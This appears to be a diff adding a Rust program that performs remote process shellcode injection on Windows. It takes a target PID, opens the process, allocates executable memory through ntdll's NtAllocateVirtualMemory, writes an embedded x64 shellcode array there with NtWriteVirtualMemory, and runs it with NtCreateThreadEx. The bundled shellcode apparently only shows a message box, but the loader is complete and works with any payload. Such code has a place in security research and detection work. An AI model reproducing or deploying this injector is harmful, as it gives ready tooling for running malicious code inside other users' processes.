|
| 1 | +/* |
| 2 | + Shellcode Execution through Remote Process using NtApi |
| 3 | + Remote Process Method 1 |
| 4 | + @5mukx |
| 5 | +*/ |
| 6 | + |
| 7 | +use std::{ffi::OsString, os::windows::ffi::OsStrExt, ptr::null_mut}; |
| 8 | + |
| 9 | +use winapi::{shared::{bcrypt::NTSTATUS, minwindef::DWORD, ntdef::HANDLE}, um::{handleapi::CloseHandle, libloaderapi::{GetProcAddress, LoadLibraryW}, processthreadsapi::OpenProcess, winnt::PROCESS_ALL_ACCESS}}; |
| 10 | + |
| 11 | +use winapi::ctypes::c_void; |
| 12 | + |
| 13 | +// Souce: https://docs.rs/ntapi/latest/ntapi/ntmmapi/fn.NtAllocateVirtualMemory.html |
| 14 | +type NAVM = unsafe extern "system" fn( |
| 15 | + *mut c_void, |
| 16 | + *mut *mut c_void, // ? here |
| 17 | + usize, |
| 18 | + *mut usize, |
| 19 | + u32, |
| 20 | + u32, |
| 21 | +) -> NTSTATUS; |
| 22 | + |
| 23 | +type NWVM = unsafe extern "system" fn( |
| 24 | + *mut c_void, |
| 25 | + *mut c_void, |
| 26 | + *const c_void, |
| 27 | + usize, |
| 28 | + *mut usize, |
| 29 | +) -> NTSTATUS; |
| 30 | + |
| 31 | +type NCT = unsafe extern "system" fn( |
| 32 | + *mut *mut c_void, // ?= *mut HANDLE |
| 33 | + DWORD, |
| 34 | + *mut c_void, |
| 35 | + HANDLE, |
| 36 | + *mut c_void, |
| 37 | + *mut c_void, |
| 38 | + DWORD, |
| 39 | + DWORD, |
| 40 | + DWORD, |
| 41 | + DWORD, |
| 42 | + *mut c_void, |
| 43 | +) -> NTSTATUS; |
| 44 | + |
| 45 | +fn main()-> Result<(), Box<dyn std::error::Error>>{ |
| 46 | + let args: Vec<String> = std::env::args().collect(); |
| 47 | + |
| 48 | + if args.len() < 2 { |
| 49 | + println!("Usage: {} <PID>", args[0]); |
| 50 | + return Ok(()); |
| 51 | + } |
| 52 | + |
| 53 | + let new_pid= args[1].parse::<u32>().expect("Enter valid PID"); |
| 54 | + |
| 55 | + println!("[+] Injecting into PID: {}", new_pid); |
| 56 | + |
| 57 | + unsafe{ |
| 58 | + |
| 59 | + // SHELLCODE |
| 60 | + let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, |
| 61 | + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, |
| 62 | + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, |
| 63 | + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, |
| 64 | + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, |
| 65 | + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, |
| 66 | + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, |
| 67 | + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, |
| 68 | + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, |
| 69 | + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, |
| 70 | + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, |
| 71 | + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, |
| 72 | + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, |
| 73 | + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, |
| 74 | + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, |
| 75 | + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, |
| 76 | + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, |
| 77 | + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, |
| 78 | + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, |
| 79 | + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, |
| 80 | + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, |
| 81 | + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, |
| 82 | + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, |
| 83 | + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, |
| 84 | + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, |
| 85 | + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, |
| 86 | + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, |
| 87 | + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 |
| 88 | + ]; |
| 89 | + |
| 90 | + let p_handle = OpenProcess( |
| 91 | + PROCESS_ALL_ACCESS, |
| 92 | + 0, |
| 93 | + new_pid, |
| 94 | + ); |
| 95 | + |
| 96 | + if p_handle.is_null(){ |
| 97 | + eprintln!("[-] Invalid Handle"); |
| 98 | + std::process::exit(1); |
| 99 | + } |
| 100 | + |
| 101 | + let ntdll_name: Vec<u16> = OsString::from("ntdll.dll").encode_wide().chain(std::iter::once(0)).collect(); |
| 102 | + let h_ntdll = LoadLibraryW(ntdll_name.as_ptr()); |
| 103 | + |
| 104 | + if h_ntdll.is_null() { |
| 105 | + println!("[-] Failed to load ntdll.dll"); |
| 106 | + return Err("Failed to load ntdll.dll".into()); |
| 107 | + } |
| 108 | + |
| 109 | + let nt_allocate_virtual_memory: NAVM = std::mem::transmute( |
| 110 | + GetProcAddress(h_ntdll, b"NtAllocateVirtualMemory\0".as_ptr() as *const i8) |
| 111 | + ); |
| 112 | + |
| 113 | + let nt_write_virtual_memory: NWVM = std::mem::transmute( |
| 114 | + GetProcAddress(h_ntdll, "NtWriteVirtualMemory\0".as_ptr() as *const i8) |
| 115 | + ); |
| 116 | + |
| 117 | + let nt_create_thread_ex: NCT = std::mem::transmute( |
| 118 | + GetProcAddress(h_ntdll, "NtCreateThreadEx\0".as_ptr() as *const i8) |
| 119 | + ); |
| 120 | + |
| 121 | + let mut alloc_addr: *mut c_void = null_mut(); |
| 122 | + let mut alloc_size: usize /*SIZE_T*/ = shellcode.len(); |
| 123 | + |
| 124 | + let status = nt_allocate_virtual_memory( |
| 125 | + p_handle, |
| 126 | + &mut alloc_addr, |
| 127 | + 0, |
| 128 | + &mut alloc_size, |
| 129 | + 0x3000, |
| 130 | + 0x40, |
| 131 | + ); |
| 132 | + |
| 133 | + println!("Allocation status: {:X}", status); |
| 134 | + println!("Allocated address: {:?}", alloc_addr); |
| 135 | + |
| 136 | + let status = nt_write_virtual_memory(p_handle, alloc_addr, shellcode.as_ptr() as *const c_void, shellcode.len(), null_mut()); |
| 137 | + println!("Write status: {:X}", status); |
| 138 | + |
| 139 | + let mut t_handle: *mut c_void = null_mut(); |
| 140 | + let status = nt_create_thread_ex( |
| 141 | + &mut t_handle, |
| 142 | + 0x2000000, |
| 143 | + null_mut(), |
| 144 | + p_handle, |
| 145 | + alloc_addr, |
| 146 | + null_mut(), |
| 147 | + 0, |
| 148 | + 0, |
| 149 | + 0, |
| 150 | + 0, |
| 151 | + null_mut() |
| 152 | + ); |
| 153 | + |
| 154 | + println!("Execution status: {:X}", status); |
| 155 | + |
| 156 | + CloseHandle(p_handle); |
| 157 | + if !t_handle.is_null() { |
| 158 | + CloseHandle(t_handle); |
| 159 | + } |
| 160 | + } |
| 161 | + Ok(()) |
| 162 | +} |
| 163 | + |
| 164 | + |
| 165 | + |
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